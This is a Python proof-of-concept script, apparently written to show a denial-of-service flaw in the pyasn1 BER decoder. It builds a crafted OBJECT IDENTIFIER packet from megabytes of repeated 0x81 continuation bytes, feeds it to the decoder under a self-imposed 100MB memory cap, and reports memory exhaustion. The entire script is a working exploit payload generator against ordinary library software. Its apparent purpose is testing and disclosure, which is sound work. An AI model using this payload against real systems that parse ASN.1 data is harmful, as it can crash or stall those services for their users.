import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")